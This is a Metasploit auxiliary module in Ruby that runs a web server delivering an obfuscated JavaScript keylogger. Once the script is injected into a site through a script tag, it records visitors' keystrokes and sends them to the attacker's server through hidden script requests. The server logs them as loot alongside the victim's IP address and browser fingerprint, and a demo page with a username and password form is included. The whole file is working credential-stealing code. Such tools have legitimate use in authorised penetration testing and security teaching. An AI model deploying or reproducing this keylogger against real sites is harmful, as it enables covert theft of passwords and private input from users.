##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'			=> 'Capture: HTTP JavaScript Keylogger',
      'Description'	=> %q{
          This modules runs a web server that demonstrates keystroke
        logging through JavaScript. The DEMO option can be set to enable
        a page that demonstrates this technique. Future improvements will
        allow for a configurable template to be used with this module.
        To use this module with an existing web page, simply add a
        script source tag pointing to the URL of this service ending
        in the .js extension. For example, if URIPATH is set to "test",
        the following URL will load this script into the calling site:
        http://server:port/test/anything.js
      },
      'License'	=> MSF_LICENSE,
      'Author'	=> ['Marcus J. Carey <mjc[at]threatagent.com>', 'hdm']
  ))

  register_options(
    [
      OptBool.new('DEMO', [true, "Creates HTML for demo purposes", false]),
    ])
  end


  # This is the module's main runtime method
  def run
    @seed = Rex::Text.rand_text_alpha(12)
    @client_cache = {}

    # Starts Web Server
    exploit
  end

  # This handles the HTTP responses for the Web server
  def on_request_uri(cli, request)

    cid = nil

    if request['Cookie'].to_s =~ /,?\s*id=([a-f0-9]{4,32})/i
      cid = $1
    end

    if not cid and request.qstring['id'].to_s =~ /^([a-f0-9]{4,32})/i
      cid = $1
    end

    data = request.qstring['data']

    unless cid
      cid = generate_client_id(cli,request)
      print_status("Assigning client identifier '#{cid}'")

      resp = create_response(302, 'Moved')
      resp['Content-Type'] = 'text/html'
      resp['Location']     = request.uri + '?id=' + cid
      resp['Set-Cookie']   = "id=#{cid}"
      cli.send_response(resp)
      return
    end

    base_url = generate_base_url(cli, request)

    #print_status("#{cli.peerhost} [#{cid}] Incoming #{request.method} request for #{request.uri}")

    case request.uri
    when /\.js(\?|$)/
      content_type = "text/plain"
      send_response(cli, generate_keylogger_js(base_url, cid), {'Content-Type'=> content_type, 'Set-Cookie' => "id=#{cid}"})

    when /\/demo\/?(\?|$)/
      if datastore['DEMO']
        content_type = "text/html"
        send_response(cli, generate_demo(base_url, cid), {'Content-Type'=> content_type, 'Set-Cookie' => "id=#{cid}"})
      else
        send_not_found(cli)
      end

    else
      if data
        nice = process_data(cli, request, cid, data)
        script = datastore['DEMO'] ? generate_demo_js_reply(base_url, cid, nice) : ""
        send_response(cli, script, {'Content-Type' => "text/plain", 'Set-Cookie' => "id=#{cid}"})
      else
        if datastore['DEMO']
          send_redirect(cli, "/demo/?cid=#{cid}")
        else
          send_not_found(cli)
        end
      end
    end
  end

  # Figure out what our base URL is based on the user submitted
  # Host header or the address of the client.
  def generate_base_url(cli, req)
    port = nil
    host = Rex::Socket.source_address(cli.peerhost)

    if req['Host']
      host = req['Host']
      bits = host.split(':')

      # Extract the hostname:port sequence from the Host header
      if bits.length > 1 and bits.last.to_i > 0
        port = bits.pop.to_i
        host = bits.join(':')
      end
    else
      port = datastore['SRVPORT'].to_i
    end

    prot = (!! datastore['SSL']) ? 'https://' : 'http://'
    if Rex::Socket.is_ipv6?(host)
      host = "[#{host}]"
    end

    base = prot + host
    if not ((prot == 'https' and port.nil?) or (prot == 'http' and port.nil?))
      base << ":#{port}"
    end

    base << get_resource
  end

  def process_data(cli, request, cid, data)

    lines = [""]
    real  = ""

    Rex::Text.uri_decode(data).split(",").each do |char|
      byte = char.to_s.hex.chr
      next if byte == "\x00"
      real << byte
      case char.to_i
      # Do Backspace
      when 8
        lines[-1] = lines[-1][0, lines[-1].length - 1] if lines[-1].length > 0
      when 13
        lines << ""
      else
        lines[-1] << byte
      end
    end

    nice = lines.join("<CR>").gsub("\t", "<TAB>")
    real = real.gsub("\x08", "<DEL>")

    if not @client_cache[cid]

      fp = fingerprint_user_agent(request['User-Agent'] || "")
      header  = "Browser Keystroke Log\n"
      header << "=====================\n"
      header << "Created: #{Time.now.to_s}\n"
      header << "Address: #{cli.peerhost}\n"
      header << "     ID: #{cid}\n"
      header << " FPrint: #{fp.inspect}\n"
      header << "    URL: #{request.uri}\n"
      header << "\n"
      header << "====================\n\n"

      @client_cache[cid] = {
        :created => Time.now.to_i,
        :path_clean => store_loot("browser.keystrokes.clean", "text/plain", cli.peerhost, header, "keystrokes_clean_#{cid}.txt", "Browser Keystroke Logs (Clean)"),
        :path_raw   => store_loot("browser.keystrokes.raw", "text/plain", cli.peerhost, header, "keystrokes_clean_#{cid}.txt", "Browser Keystroke Logs (Raw)")
      }
      print_good("[#{cid}] Logging clean keystrokes to: #{@client_cache[cid][:path_clean]}")
      print_good("[#{cid}] Logging raw keystrokes to: #{@client_cache[cid][:path_raw]}")
    end

    ::File.open( @client_cache[cid][:path_clean], "ab") { |fd| fd.puts nice }
    ::File.open( @client_cache[cid][:path_raw], "ab")   { |fd| fd.write(real) }

    if nice.length > 0
      print_good("[#{cid}] Keys: #{nice}")
    end

    nice
  end

  def generate_client_id(cli, req)
    "%.8x" % Kernel.rand(0x100000000)
  end


  def generate_demo(base_url, cid)
    # This is the Demo Form Page <HTML>
    html = <<EOS
<html>
<head>
<title>Demo Form</title>
<script type="text/javascript" src="#{base_url}/#{@seed}.js?id=#{cid}"></script>
</head>
<body bgcolor="white">
<br><br>
<div align="center">
<h1>Keylogger Demo Form</h1>
<form method=\"POST\" name=\"logonf\" action=\"#{base_url}/demo/?id=#{cid}\">
<p><font color="red"><i>This form submits data to the Metasploit listener for demonstration purposes.</i></font>
<br><br>
<table border="0" cellspacing="0" cellpadding="0">
<tr><td>Username:</td> <td><input name="username" size="20"></td> </tr>
<tr><td>Password:</td> <td><input type="password" name="password" size="20"></td> </tr>
</table>
<p align="center"><input type="submit" value="Submit"></p></form>

<br/>
<textarea cols="80" rows="5" id="results">
</textarea>

</div>
</body>
</html>
EOS
    return html
  end

  # This is the JavaScript Key Logger Code
  def generate_keylogger_js(base_url, cid)

    targ = Rex::Text.rand_text_alpha(12)

    code = <<EOS

var c#{@seed} = 0;
window.onload = function load#{@seed}(){
  l#{@seed} = ",";

  if (window.addEventListener) {
    document.addEventListener('keypress', p#{@seed}, true);
    document.addEventListener('keydown', d#{@seed}, true);
  } else if (window.attachEvent) {
    document.attachEvent('onkeypress', p#{@seed});
    document.attachEvent('onkeydown', d#{@seed});
  } else {
    document.onkeypress = p#{@seed};
    document.onkeydown = d#{@seed};
  }

}
function p#{@seed}(e){
  k#{@seed} = (window.event) ? window.event.keyCode : e.which;
  k#{@seed} = k#{@seed}.toString(16);
  if (k#{@seed} != "d"){
    #{@seed}(k#{@seed});
  }
}
function d#{@seed}(e){
  k#{@seed} = (window.event) ? window.event.keyCode : e.which;
  if (k#{@seed} == 9 || k#{@seed} == 8 || k#{@seed} == 13){
    #{@seed}(k#{@seed});
  }
}

function #{@seed}(k#{@seed}){
  l#{@seed} = l#{@seed} + k#{@seed} + ",";

  var t#{@seed} = "#{targ}" + c#{@seed};
  c#{@seed}++;

  var f#{@seed};

  if (document.all)
    f#{@seed} = document.createElement("<script name='" + t#{@seed} + "' id='" + t#{@seed} + "'></script>");
  else {
    f#{@seed} = document.createElement("script");
    f#{@seed}.setAttribute("id", t#{@seed});
    f#{@seed}.setAttribute("name", t#{@seed});
  }

  f#{@seed}.setAttribute("src", "#{base_url}?id=#{cid}&data=" + l#{@seed});
  f#{@seed}.style.visibility = "hidden";

  document.body.appendChild(f#{@seed});

  if (k#{@seed} == 13 || l#{@seed}.length > 3000)
    l#{@seed} = ",";

  setTimeout('document.body.removeChild(document.getElementById("' + t#{@seed} + '"))', 5000);
}
EOS
    return code
  end

  def generate_demo_js_reply(base_url, cid, data)
    code = <<EOS
      try {
        document.getElementById("results").value = "Keystrokes: #{data}";
      } catch(e) { }
EOS
    return code
  end
end
